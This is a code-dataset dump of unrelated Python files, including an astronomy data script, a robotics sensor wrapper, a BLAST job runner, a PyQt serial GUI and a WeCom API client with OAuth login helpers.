cat['ra'] = gaia['RA']\n # cat['dec'] = gaia['DEC']\n\n cat.write(os.path.join(output_dir, 'XpSyntheticDECam_{}.fits'.format(str(hp_32).zfill(5))))\n gaia.write(os.path.join(output_dir, 'Gaia_EDR3/XpSyntheticDECam_{}_Gaia_EDR3.fits'.format(str(hp_32).zfill(5))))\n\n return len(cat)\n\n\nn_process = 256\nwith Pool(processes=n_process) as pool:\n res = pool.map(do_something, gaia_fns, chunksize=1)\n\ncounter = np.sum(res)\nprint('Total number of objects:', counter)\n\n# Sanity check that no object is lost\ncounter1 = 0\nfor fn in phot_fns:\n counter1 += fitsio.read_header(fn, ext=1)['NAXIS2']\nprint(counter==counter1, counter1, counter1-counter)\n\n# Result:\n# Total numbert of objects in new files: 219120650\n# Total numbert of objects in original files: 219125259\n# 4609 objects are missing\n\n","sub_path":"gaia/reorganize_gaia_healpix_files.py","file_name":"reorganize_gaia_healpix_files.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"567063592","text":"# -*- coding: utf-8 -*-\n\n##################################################################\n# #\n# FRC Navx Library #\n# #\n# This class is a wrapper around the HAL-Navx libraries. This #\n# class provides threading of the Navx board interactions. #\n# #\n# @Version: 1.0 #\n# @Created: 2020-2-11 #\n# @Author: Team 4121 #\n# #\n##################################################################\n\n'''FRC Navx Library - Provides threaded methods and utilities for Navx board'''\n\n#!/usr/bin/env python3\n\n# System imports\nimport sys\nimport imp\n\n# Setup paths\nsys.path.append('/usr/local/lib/vmxpi/')\n\n# Module imports\nimport math\nimport time\nimport datetime\nimport logging\nfrom threading import Thread\n\n\n# Define the Navx class\nclass FRCNavx:\n\n # Define initialization\n def __init__(self, name):\n\n # Load VMX module\n self.vmxpi = imp.load_source('vmxpi_hal_python', '/usr/local/lib/vmxpi/vmxpi_hal_python.py')\n self.vmx = self.vmxpi.VMXPi(False,50)\n self.vmxOpen = self.vmx.IsOpen()\n\n # Log error if VMX didn't open properly\n if self.vmxOpen is False:\n\n # Get current time as a string\n currentTime = time.localtime(time.time())\n timeString = str(currentTime.tm_year) + str(currentTime.tm_mon) + str(currentTime.tm_mday) + str(currentTime.tm_hour) + str(currentTime.tm_min)\n\n # Open a log file\n logFilename = '/data/Logs/Navx_Log_' + timeString + '.txt'\n self.log_file = open(logFilename, 'w')\n self.log_file.write('Navx initialized on %s.\\n' % datetime.datetime.now())\n self.log_file.write('')\n\n # Write error message\n self.log_file.write('Error: Unable to open VMX Client.\\n')\n self.log_file.write('\\n')\n self.log_file.write(' - Is pigpio (or the system resources it requires) in use by another process?\\n')\n self.log_file.write(' - Does this application have root privileges?')\n self.log_file.close()\n\n # Set name of Navx thread\n self.name = name\n\n # Initialize Navx values\n self.angle = 0.0\n self.yaw = 0.0\n self.pitch = 0.0\n self.time = []\n self.date = []\n \n # Reset Navx and initialize time\n if self.vmxOpen is True:\n self.vmx.getAHRS().Reset()\n self.vmx.getAHRS().ZeroYaw()\n self.time = self.vmx.getTime().GetRTCTime()\n self.date = self.vmx.getTime().GetRTCDate()\n \n\n # Define read angle method\n def read_angle(self):\n\n self.angle = round(self.vmx.getAHRS().GetAngle(), 2)\n return self.angle\n\n\n # Define read yaw method\n def read_yaw(self):\n\n self.yaw = round(self.vmx.getAHRS().GetYaw(), 2)\n return self.yaw\n\n\n # Define read pitch method\n def read_pitch(self):\n\n self.pitch = round(self.vmx.getAHRS().GetPitch(), 2)\n return self.pitch\n\n\n # Define reset gyro method\n def reset_gyro(self):\n\n self.vmx.Reset()\n self.vmx.ZeroYaw()\n\n\n # Define read time method\n def read_time(self):\n\n self.time = self.vmx.getTime().GetRTCTime()\n return self.time\n \n\n # Define read date method\n def read_date(self):\n\n self.date = self.vmx.getTime().GetRTCDate()\n return self.date\n \n\n # Define set time method\n def set_time(self, newtime):\n\n success = self.vmx.getTime().SetRTCTime(newtime[0], \n newtime[1],\n newtime[2])\n \n return success\n \n\n # Define set date method\n def set_date(self, newdate):\n\n success = self.vmx.getTime().SetRTCDate(newdate[0],\n newdate[1],\n newdate[2],\n newdate[3])\n\n return success\n \n\n # Define get raw time method\n def get_raw_time(self):\n\n currentTime = self.read_time()\n currentDate = self.read_date()\n timeString = str(self.get_year(currentDate[4])) + str(currentDate[3]) + str(currentDate[2]) + str(currentTime[1]) + str(currentTime[2])\n return timeString\n \n\n # Define day of week conversion method\n def get_day_name(self, weekday):\n\n if weekday == 1:\n return 'Monday'\n elif weekday == 2:\n return 'Tuesday'\n elif weekday == 3:\n return 'Wednesday'\n elif weekday == 4:\n return 'Thursday'\n elif weekday == 5:\n return 'Friday'\n elif weekday == 6:\n return 'Saturday'\n elif weekday == 7:\n return 'Sunday'\n \n\n # Define month conversion method\n def get_month_name(self, month):\n\n if month == 1:\n return 'January'\n elif month == 2:\n return 'February'\n elif month == 3:\n return 'March'\n elif month == 4:\n return 'April'\n elif month == 5:\n return 'May'\n elif month == 6:\n return 'June'\n elif month == 7:\n return 'July'\n elif month == 8:\n return 'August'\n elif month == 9:\n return 'September'\n elif month == 10:\n return 'October'\n elif month == 11:\n return 'November'\n elif month == 12:\n return 'December'\n \n\n # Define year conversion method\n def get_year(self, year):\n\n return (year + 2000)\n\n","sub_path":"Motion/FRCNavxLibrary.py","file_name":"FRCNavxLibrary.py","file_ext":"py","file_size_in_byte":5998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"477047023","text":"def add_time(start, duration, day=None):\n days = [\n 'monday', \n 'tuesday',\n 'wednesday',\n 'thursday',\n 'friday',\n 'saturday',\n 'sunday']\n \n startHour, startMinutes = tuple(start.split(':'))\n startHour = int(startHour)\n dayPart = (startMinutes.split(' '))[1]\n if (dayPart.lower() == 'pm'):\n startHour += 12\n startMinutes = int(startMinutes.split(' ')[0])\n \n durHour, durMinutes = tuple(duration.split(':'))\n durHour, durMinutes = int(durHour), int(durMinutes)\n\n resultDay = None\n\n resultMinutes = startMinutes + durMinutes\n hoursAfter = resultMinutes // 60\n resultMinutes = resultMinutes % 60\n \n resultHour = startHour + durHour + hoursAfter\n daysAfter = resultHour // 24\n resultHour = resultHour % 24\n\n if resultHour >= 12:\n if resultHour > 12:\n resultHour -= 12\n dayPart = 'PM'\n else:\n if resultHour == 0:\n resultHour = 12\n dayPart = 'AM'\n\n new_time = ':'.join([str(resultHour), (str(resultMinutes).zfill(2) + ' ' + dayPart)])\n\n if day:\n resultDay = (days.index(day.lower()) + daysAfter) % 7\n new_time += ', ' + days[resultDay].capitalize()\n \n if daysAfter == 1:\n new_time += ' (next day)'\n elif daysAfter > 1:\n new_time += ' (' + str(daysAfter) + ' days later)'\n\n return new_time\n","sub_path":"time_calculator/time_calculator.py","file_name":"time_calculator.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"211195043","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/fxg2svg/utils/font.py\n# Compiled at: 2016-07-12 15:46:35\n# Size of source mod 2**32: 1265 bytes\nimport logging, os\nfrom PIL import ImageFont\nlogger = logging.getLogger(__name__)\nFONTDIRS = ('/usr/share/fonts', '/home/hus/.fonts')\n\nclass FontNotFoundError(Exception):\n pass\n\n\ndef get_filepaths(directory):\n file_paths = []\n for root, directories, files in os.walk(directory):\n for filename in files:\n filepath = os.path.join(root, filename)\n file_paths.append(filepath)\n\n return file_paths\n\n\ndef _getfontname(filepath):\n if not filepath.lower().endswith('ttf'):\n return\n try:\n f = ImageFont.truetype(filepath)\n return f.font.family\n except OSError:\n logger.debug('%s is not a true type font' % filepath)\n return\n\n\ndef _getfontfile(font_family, f, dirs=FONTDIRS):\n for d in dirs:\n for filepath in get_filepaths(d):\n if _getfontname(filepath) == font_family:\n return filepath\n\n\ndef get_font(name, f='ttf', dirs=FONTDIRS, size=None):\n fontpath = _getfontfile(name, f, dirs)\n if fontpath is None:\n raise FontNotFoundError(\"Font '%s' not found.\" % name)\n if size is None:\n font = ImageFont.truetype(fontpath)\n else:\n font = ImageFont.truetype(fontpath, size=size)\n return font","sub_path":"pycfiles/fxg2svg-0.2.2-py3.4/font.cpython-34.py","file_name":"font.cpython-34.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"258779239","text":"import string\nimport re\n\ndef is_pangram(s):\n s_ignore_case = s.lower()\n for each in \"abcdefghijklmnopqrstuvwxyz\":\n if each not in s_ignore_case:\n return False\n return True\n\n #return set(string.lowercase) <= set(s.lower())\n\nif __name__ == \"__main__\":\n # print(is_pangram(\"The quick brown fox jumps over the lazy do\"))\n print(string.ascii_lowercase)","sub_path":"source/codewars_problems/detectPangram.py","file_name":"detectPangram.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"151345569","text":"#!/usr/local/bin/python3\nimport os\nimport sys\nimport glob\nimport platform\nimport subprocess\nimport re\nimport termcolor # for esay coloring in bash\nimport datetime\nfrom time import strftime, localtime, sleep # for logging time\n\nmsgtype = { 'WARNING': termcolor.colored('(Warning)', 'yellow'),\n 'ERROR': termcolor.colored('(Error)', 'red'),\n 'NOTICE': termcolor.colored('\\n==>', 'cyan'),\n 'PROGRESS': termcolor.colored('->', 'magenta'),\n 'COMPLETE': termcolor.colored('\\n==>', 'green')}\nfile_reg = re.compile('(?P[^._]+)_(?P[a-z]+)_?(?P[^.]*)\\.(?P\\w+)') \ncand_reg = re.compile('(?P[^.]+)\\.(?P\\w+)')\nerrornum = 0\n\ndef getNowStr():\n # return strftime('%Y-%m-%d %a %Z %H:%M:%S')\n return strftime(\"%Y-%m-%d %H:%M:%S\")\n\ndef checkProcess(process_list): \n global msgtype, errornum\n for i in range(len(process_list)):\n if process_list[i].process.poll() != None:\n # this process has finished \n print(msgtype['COMPLETE'], process_list[i].name, 'completes using', str(datetime.datetime.today()-process_list[i].start_time))\n output = process_list[i].process.communicate() \n #write log in to filename.log\n log_name = process_list[i].name + getNowStr() + '.log'\n log_name = log_name.replace(' ','-')\n with open(log_name,'w') as logfile:\n if output[1]: \n # error occurs \n logfile.write('Error!!') \n print(msgtype['ERROR'])\n print(output[1].decode('utf8'))\n logfile.write(output[1].decode('utf8'))\n logfile.write('--')\n errornum = errornum + 1\n logfile.write(output[0].decode('utf8'))\n logfile.flush()\n del process_list[i]\n return True\n return False\n\ndef addTask(cmd_pool, process_list):\n # make a command into a real task\n command = cmd_pool.pop(0)\n print(msgtype['NOTICE'], 'Starting process for', command[0], 'at', getNowStr())\n process_list.append(Task(command[0], command[2:], command[1]))\n print('Remain in pool:', len(cmd_pool), 'files',end='')\n print('Total running process:', str(len(process_list)))\n\nclass Task:\n def __init__(self, name, command, working_dir=None):\n self.name = name\n self.start_time = datetime.datetime.now()\n self.process = subprocess.Popen(command, stdout = subprocess.PIPE, stderr = subprocess.PIPE, bufsize=-1, cwd=working_dir)\n\ndef setupCmdPool():\n global cand_reg, msgtype\n print(msgtype['NOTICE'], 'Making command lists')\n # entry in cmd_pool : [COMMAND_NAME, command argv*]\n cmd_pool = []\n #file_dict = file_reg.search(filename).groupdict()\n # makeblastdb -dbtype nucl -in pooled_clipped_collapsed.fa -input_type fasta -title database_title\n #process_dict[filename] = subprocess.Popen(['makeblastdb', '-dbtype', 'nucl', '-in', filename, '-input_type', 'fasta', '-title', file_dict['name']+' Collapsed', '-parse_seqids', '-out', 'verifyB_'+file_dict['name'][-2:]], stdout = subprocess.PIPE, stderr = subprocess.PIPE, bufsize=-1)\n\n # candidates sequence\n for cand in os.listdir('.'):\n file_name, file_ext = os.path.splitext(cand)\n if (file_ext == '.txt'):\n print(msgtype['PROGRESS'], 'Candidate file:', cand, 'found. ') \n print(msgtype['PROGRESS'], 'Making its folder.')\n if not os.path.exists(file_name):\n os.mkdir(file_name)\n elif os.path.isdir(file_name):\n print(msgtype['WARNING'], 'Folder exists. Continue')\n elif os.path.isfile(file_name):\n print(msgtype['ERROR'], 'A file using', file_name, 'is found. Renaming')\n os.rename(file_name, file_name + getNowStr() + '.bak')\n # blastn -query chr19_19992.txt -db verifyB_direct_11 -task blastn -strand plus -evalue 0.005 -num_threads 4 -outfmt \"7 sacc evalue pident length mismatch gaps qstart qend sstart send\" -out test -max_target_seqs 10000\n print(msgtype['PROGRESS'], 'Creating command for', cand, 'in dir', file_name)\n cmd_pool.extend([['blastn '+file_name+' in '+str(db), None, 'blastn','-query', cand, '-db', 'verifyB_direct_'+str(db), '-task', 'blastn', '-strand', 'plus', '-evalue', '0.01', '-num_threads','4', '-outfmt', '10 sacc evalue pident length mismatch gaps qstart qend sstart send', '-out', file_name+'/'+str(db)+'.csv', '-max_target_seqs', '10000'] for db in range(72,73)])\n \n return cmd_pool\n\n\ndef main():\n global msgtype, errornum\n max_process = int(sys.argv[1])\n process_running = []\n cmd_pool = setupCmdPool()\n # add and delete a process/task one time\n while cmd_pool or process_running:\n if cmd_pool and len(process_running) < max_process:\n # Add tasks to empty process\n addTask(cmd_pool, process_running)\n elif not checkProcess(process_running):\n # check and no process ends\n if datetime.datetime.now().second < 5:\n print('(Processing on full load)', getNowStr())\n sleep(5) \n print(msgtype['COMPLETE'], 'Making BLAST database completes with error', errornum)\n sys.exit()\n\nif __name__ == '__main__':\n main()\n","sub_path":"old_scripts/blastpercand.py","file_name":"blastpercand.py","file_ext":"py","file_size_in_byte":5413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"188062003","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nimport serial\n\n\nclass Ui_DumplingBot9000(object):\n def setupUi(self, DumplingBot9000):\n self.ser = serial.Serial('/COM5', baudrate = 9600, timeout= 0.25)\n\n DumplingBot9000.setObjectName(\"DumplingBot9000\")\n DumplingBot9000.resize(1086, 785)\n self.centralwidget = QtWidgets.QWidget(DumplingBot9000)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.DumpMeat = QtWidgets.QPushButton(self.centralwidget)\n self.DumpMeat.setGeometry(QtCore.QRect(70, 90, 191, 71))\n self.DumpMeat.setObjectName(\"DumpMeat\")\n self.DumpMeat.clicked.connect(self.DumpMeatFunc)\n\n self.MeatCutter = QtWidgets.QPushButton(self.centralwidget)\n self.MeatCutter.setGeometry(QtCore.QRect(70, 210, 191, 81))\n self.MeatCutter.setObjectName(\"MeatCutter\")\n self.MeatCutter.clicked.connect(self.MeatCutterFunc)\n\n self.MeatSpinner = QtWidgets.QPushButton(self.centralwidget)\n self.MeatSpinner.setGeometry(QtCore.QRect(70, 330, 191, 91))\n self.MeatSpinner.setObjectName(\"MeatSpinner\")\n self.DumplingPresser = QtWidgets.QPushButton(self.centralwidget)\n self.DumplingPresser.setGeometry(QtCore.QRect(70, 460, 191, 81))\n self.DumplingPresser.setObjectName(\"DumplingPresser\")\n self.label = QtWidgets.QLabel(self.centralwidget)\n\n self.label.setGeometry(QtCore.QRect(440, 360, 47, 14))\n self.label.setObjectName(\"label\")\n\n DumplingBot9000.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(DumplingBot9000)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 1086, 22))\n self.menubar.setObjectName(\"menubar\")\n DumplingBot9000.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(DumplingBot9000)\n self.statusbar.setObjectName(\"statusbar\")\n DumplingBot9000.setStatusBar(self.statusbar)\n\n self.retranslateUi(DumplingBot9000)\n QtCore.QMetaObject.connectSlotsByName(DumplingBot9000)\n\n def DumpMeatFunc(self):\n self.ser.write(\"a\".encode())\n print(\"a\")\n self.label.setText(\"a\")\n\n def MeatCutterFunc(self):\n self.ser.write(\"b\".encode())\n print(\"b\")\n self.label.setText(\"b\")\n\n\n\n\n def retranslateUi(self, DumplingBot9000):\n _translate = QtCore.QCoreApplication.translate\n DumplingBot9000.setWindowTitle(_translate(\"DumplingBot9000\", \"MainWindow\"))\n self.DumpMeat.setText(_translate(\"DumplingBot9000\", \"Dump Meat\"))\n self.MeatCutter.setText(_translate(\"DumplingBot9000\", \"Meat Cutter\"))\n self.MeatSpinner.setText(_translate(\"DumplingBot9000\", \"Meat Spinner\"))\n self.DumplingPresser.setText(_translate(\"DumplingBot9000\", \"Dumpling Presser\"))\n self.label.setText(_translate(\"DumplingBot9000\", \"TextLabel\"))\n\n\nif name == \"main\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n DumplingBot9000 = QtWidgets.QMainWindow()\n ui = UiDumplingBot9000()\n ui.setupUi(DumplingBot9000)\n DumplingBot9000.show()\n sys.exit(app.exec())","sub_path":"python final/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"461507457","text":"import pytest\n\n\nfrom petra.sequence_view import SequenceView\n\n_data = (\n [1, 2, 3],\n (1, 2, 3),\n {'a': 1, 'b': 2, 'c': 3}.values(),\n)\n\n@pytest.fixture(params=_data, ids=[type(x).__name__ for x in _data])\ndef collection(request):\n return request.param\n\ndef test_sequence_view_collection(collection):\n sv = SequenceView(collection)\n assert len(sv) == len(collection)\n assert list(sv) == list(collection)\n\ndef test_sequence_view_collection_5(collection):\n sv = SequenceView(collection, length=5)\n assert len(sv) == 5\n assert list(sv) == list(collection)\n\n_DATA = [1, 2, 3]\ndef gen3():\n for x in _DATA:\n yield x\n\ndef test_sequence_view_generator():\n sv = SequenceView(gen3, length=3)\n assert len(sv) == len(_DATA)\n assert list(sv) == _DATA\n","sub_path":"tests/test_sequence_view.py","file_name":"test_sequence_view.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"228053310","text":"class Solution(object):\n # '?' Matches any single character.\n # '*' Matches any sequence of characters (including the empty sequence).\n\n # The matching should cover the entire input string (not partial).\n\n # The function prototype should be:\n # bool isMatch(const char *s, const char *p)\n\n # Some examples:\n # isMatch(\"aa\",\"a\") → false\n # isMatch(\"aa\",\"aa\") → true\n # isMatch(\"aaa\",\"aa\") → false\n # isMatch(\"aa\", \"*\") → true\n # isMatch(\"aa\", \"a*\") → true\n # isMatch(\"ab\", \"?*\") → true\n # isMatch(\"aab\", \"c*a*b\") → false\n # star_ 表明前面是否有*符号\n # ss保存可能会匹配给*的起始位置\n def isMatch(self, s, p):\n \"\"\"\n :type s: str\n :type p: str\n :rtype: bool\n \"\"\"\n star_ = -1\n sPtr_ = pPtr_ = ss = 0\n while sPtr_ < len(s):\n if pPtr_ < len(p) and (s[sPtr_] == p[pPtr_] or p[pPtr_] == '?'):\n sPtr_ += 1\n pPtr_ += 1\n continue\n if pPtr_ < len(p) and p[pPtr_] == '*':\n ss = sPtr_\n star_ = pPtr_\n pPtr_ += 1\n continue\n if star_ != -1:\n ss += 1\n sPtr_ = ss\n pPtr_ = star_ + 1\n continue\n return False\n\n while pPtr_ < len(p) and p[pPtr_] == '*':\n pPtr_ += 1\n\n if pPtr_ == len(p):\n return True\n\n return False\n","sub_path":"44.Wildcard_Matching/44.Wildcard_Matching.py","file_name":"44.Wildcard_Matching.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"542138418","text":"import json\nimport time\nimport requests\nfrom .ierror import (\n InitError,\n GetAccessTokenError,\n SuiteTicketError,\n)\nfrom .base import BaseWechatAPI\nimport wework.rq as rq\n\n\nclass WechatUser(object):\n def __init__(self, data):\n self.data = data\n\n def __getattr__(self, item):\n return self.data[item]\n\n\nclass WorkWechatApi(object):\n def __init__(self, settings):\n self.settings = settings\n self._suite_api = None\n self._provider_api = None\n self.qrcode_login_required = None\n\n @property\n def web_login_required(self):\n return self.suite_api.web_login_required\n\n @property\n def suite_api(self):\n if not self._suite_api:\n self.check_settings(['SUITE_ID', 'SUITE_SECRET'])\n self._suite_api = WorkWechatSuiteApi(self.settings, self)\n return self._suite_api\n\n @property\n def provider_api(self):\n if not self._provider_api:\n self.check_settings(['CROP_ID', 'PROVIDER_SECRET'])\n self._provider_api = WorkProviderWechatApi(self.settings, self)\n self.qrcode_login_required = self._provider_api.login_required\n return self._provider_api\n\n def check_settings(self, keys):\n for key in keys:\n if key not in self.settings.__dict__['data']:\n raise InitError('缺少必须的参数 {}'.format(key))\n\n def set_suite_ticket(self, value):\n self.suite_api.suite_ticket = value\n\n\nclass WorkWechatSuiteApi(BaseWechatAPI):\n \"\"\"第三方应用api\"\"\"\n def __init__(self, settings, wechat_api):\n self.wechat_api = wechat_api\n self.settings = settings\n self._global_access_token = {'name': ('suite_access_token', 'suite_expires_time')}\n self._auth_code = {}\n\n @property\n def suite_ticket(self):\n helper = self.settings.HELPER\n ticket = helper.cache_get('wework_suite_ticket')\n if ticket is None:\n raise SuiteTicketError('suite ticket 为空')\n return ticket\n\n @suite_ticket.setter\n def suite_ticket(self, value):\n helper = self.settings.HELPER\n helper.cache_set('wework_suite_ticket', value)\n\n def _get_access_token(self):\n \"\"\"获取第三方应用凭证\"\"\"\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/get_suite_token'\n data = requests.post(url, json={\n 'suite_id': self.settings.SUITE_ID,\n 'suite_secret': self.settings.SUITE_SECRET,\n 'suite_ticket': self.suite_ticket,\n }).json()\n return data['suite_access_token'], data['expires_in']\n\n def get_web_login_url(self, login_path, scope='snsapi_userinfo'):\n \"\"\"\n :param scope: \n 应用授权作用域。\n snsapi_base:静默授权,可获取成员的基础信息(UserId与DeviceId);\n snsapi_userinfo:静默授权,可获取成员的详细信息,但不包含手机、邮箱等敏感信息;\n snsapi_privateinfo:手动授权,可获取成员的详细信息,包含手机、邮箱等敏感信息。\n :param login_path: 登录地址。\n :return: url\n \"\"\"\n if scope not in ['snsapi_base', 'snsapi_userinfo', 'snsapi_privateinfo']:\n raise ValueError('scope 值不在 snsapi_base, snsapi_userinfo,snsapi_privateinfo 中')\n url = 'https://open.weixin.qq.com/connect/oauth2/authorize?' \\\n 'appid={app_id}&' \\\n 'redirect_uri={redirect_uri}&' \\\n 'response_type=code&' \\\n 'scope={scope}#wechat_redirect'.format(app_id=self.settings.SUITE_ID,\n redirect_uri=self.settings.REGISTER_URL + login_path[1:],\n scope=scope)\n return url\n\n def get_qrcode_login_url(self, login_path, state='', user_type='member'):\n \"\"\"\n \n :param login_path: 登录地址。 \n :param user_type: 支持登录的类型。admin代表管理员登录(使用微信扫码),member代表成员登录(使用企业微信扫码)\n :param state: state\n :return: url\n \"\"\"\n if user_type not in ['member', 'admin']:\n raise ValueError('user_type 值不为 member、admin 任意之一')\n url = 'https://open.work.weixin.qq.com/wwopen/sso/3rd_qrConnect?' \\\n 'appid={corpid}&' \\\n 'redirect_uri={redirect_url}&state={state}&' \\\n 'usertype={user_type}'.format(corpid=self.settings.CROP_ID,\n redirect_url=self.settings.REGISTER_URL + login_path[1:],\n user_type=user_type,\n state=state)\n return url\n\n def get_install_url(self, path, auth_code):\n url = 'https://open.work.weixin.qq.com/3rdapp/install?' \\\n 'suite_id={suite_id}&' \\\n 'pre_auth_code={pre_auth_code}&' \\\n 'redirect_uri={redirect_uri}&state=STATE'\n\n return url.format(\n suite_id=self.settings.SUITE_ID,\n pre_auth_code=auth_code,\n redirect_uri=self.settings.REGISTER_URL + path[1:]\n )\n\n @property\n def pre_auth_code(self):\n \"\"\"该API用于获取预授权码。预授权码用于企业授权时的第三方服务商安全验证。\"\"\"\n g = self._auth_code\n if 'pre_auth_code' not in g or time.time() >= g['expires_time']:\n self._get_pre_auth_code()\n return self._auth_code['pre_auth_code']\n\n def set_session_info(self, pre_auth_code, test=False):\n \"\"\"设置授权配置。该接口可对某次授权进行配置。可支持测试模式(应用未发布时)。\"\"\"\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/set_session_info?suite_access_token={}'.format(\n self.access_token\n )\n rq.post(url, {\n 'pre_auth_code': pre_auth_code,\n 'session_info': {\n 'auth_type': 1 if test else 0\n }\n })\n return pre_auth_code\n\n @pre_auth_code.setter\n def pre_auth_code(self, value):\n raise ValueError('禁止对 pre_auth_code 进行赋值操作')\n\n def _get_pre_auth_code(self):\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/get_pre_auth_code?suite_access_token={}'.format(\n self.access_token)\n data = rq.get(url)\n self._auth_code['pre_auth_code'] = data['pre_auth_code']\n self._auth_code['expires_time'] = data['expires_in'] + int(time.time())\n\n def _get_user_ticket(self, code):\n \"\"\"获取user_ticket\"\"\"\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/getuserinfo3rd?access_token={}&code={}'.format(\n self.access_token, code\n )\n return rq.get(url)['user_ticket']\n\n def get_user_info(self, code):\n \"\"\"\n \"corpid\":\"wwxxxxxxyyyyy\",\n \"userid\":\"lisi\",\n \"name\":\"李四\",\n \"mobile\":\"15913215421\",\n \"gender\":\"1\",\n \"email\":\"xxx@xx.com\",\n \"avatar\":\"http://shp.qpic.cn/bizmp/xxxxxxxxxxx/0\",\n \"qr_code\":\"https://open.work.weixin.qq.com/wwopen/userQRCode?vcode=vcfc13b01dfs78e981c\"\n \"\"\"\n user_ticket = self._get_user_ticket(code)\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/getuserdetail3rd?access_token={}'.format(self.access_token)\n data = rq.post(url, {'user_ticket': user_ticket})\n del data['errcode']\n del data['errmsg']\n return WechatUser(data)\n\n def qrcode_login_required(self, state='state', user_type='member'):\n \"\"\"企业微信扫码授权登录\"\"\"\n def wrapper(func):\n def get_wx_user(request, *args, **kwargs):\n helper = self.settings.HELPER(request)\n code = helper.get_params().get('auth_code', '')\n if code:\n work_wx_user = self.wechat_api.provider_api.get_user_info(code)\n request.work_wx_user = work_wx_user\n return func(request, *args, **kwargs)\n path = helper.get_current_path()\n return helper.redirect(self.get_qrcode_login_url(path, state, user_type))\n return get_wx_user\n return wrapper\n\n def web_login_required(self, scope='snsapi_userinfo'):\n \"\"\"网页授权登录\"\"\"\n def wrapper(func):\n def get_wx_user(request, *args, **kwargs):\n helper = self.settings.HELPER(request)\n code = helper.get_params().get('code', '')\n if code:\n work_wx_user = self.get_user_info(code)\n request.work_wx_user = work_wx_user\n return func(request, *args, **kwargs)\n path = helper.get_current_path()\n return helper.redirect(self.get_web_login_url(path, scope))\n return get_wx_user\n return wrapper\n\n def get_corp_access_token_and_info(self, auth_code):\n \"\"\"\n https://work.weixin.qq.com/api/doc#90001/90143/90603\n 该API用于使用临时授权码换取授权方的永久授权码,并换取授权信息、企业access_token,临时授权码一次有效。\n :param auth_code: 临时授权码,通过安装时的回调获得\n \"\"\"\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/get_permanent_code?suite_access_token={}'.format(\n self.access_token\n )\n return requests.post(url, json={\n 'auth_code': auth_code\n }).json()\n\n def get_corp_access_token(self, corp_id, permanent_code):\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/get_corp_token?suite_access_token={}'.format(\n self.access_token\n )\n data = requests.post(url, json={\n 'auth_corpid': corp_id,\n 'permanent_code': permanent_code,\n }).json()\n if 'access_token' not in data:\n raise GetAccessTokenError(data)\n return data['access_token']\n\n def get_corp_info(self, corp_id, permanent_code):\n \"\"\"\n https://work.weixin.qq.com/api/doc#90001/90143/90604\n :param permanent_code: 永久授权码\n :param corp_id: 企业id\n :return: \n {\n \"errcode\":0 ,\n \"errmsg\":\"ok\" ,\n \"dealer_corp_info\": \n {\n \"corpid\": \"xxxx\",\n \"corp_name\": \"name\"\n },\n \"auth_corp_info\": # 授权方企业信息\n {\n \"corpid\": \"xxxx\", # 授权方企业微信id\n \"corp_name\": \"name\", # 授权方企业名称\n \"corp_type\": \"verified\", # 授权方企业类型,认证号:verified, 注册号:unverified\n \"corp_square_logo_url\": \"yyyyy\", # 授权方企业方形头像\n \"corp_user_max\": 50,# 授权方企业用户规模\n \"corp_agent_max\": 30,\n \"corp_full_name\":\"full_name\", # 授权方企业的主体名称(仅认证过的企业有)\n \"verified_end_time\":1431775834, # 认证到期时间\n \"subject_type\": 1, # 企业类型,1. 企业; 2. 政府以及事业单位; 3. 其他组织, 4.团队号\n \"corp_wxqrcode\": \"zzzzz\", # 授权企业在微工作台(原企业号)的二维码,可用于关注微工作台\n \"corp_scale\": \"1-50人\", # 企业规模。当企业未设置该属性时,值为空\n \"corp_industry\": \"IT服务\", # 企业所属行业。当企业未设置该属性时,值为空\n \"corp_sub_industry\": \"计算机软件/硬件/信息服务\", # 企业所属子行业。当企业未设置该属性时,值为空\n \"location\":\"广东省广州市\" # 企业所在地信息, 为空时表示未知\n },\n \"auth_info\": # 授权信息。如果是通讯录应用,且没开启实体应用,是没有该项的。通���录应用拥有企业通讯录的全部信息读写权限\n {\n \"agent\" : # 授权的应用信息,注意是一个数组,但仅旧的多应用套件授权时会返回多个agent,对新的单应用授权,永远只返回一个agent\n [\n {\n \"agentid\":1, # 授权方应用id\n \"name\":\"NAME\", # 授权方应用名字\n \"round_logo_url\":\"xxxxxx\", # 授权方应用圆形头像\n \"square_logo_url\":\"yyyyyy\", # 授权方应用方形头像\n \"appid\":1, # 旧的多应用套件中的对应应用id,新开发者请忽略\n \"privilege\": # 应用对应的权限\n {\n \"level\":1, 1:通讯录基本信息只读 \n 3:通讯录全部信息读写 4:单个基本信息只读\n 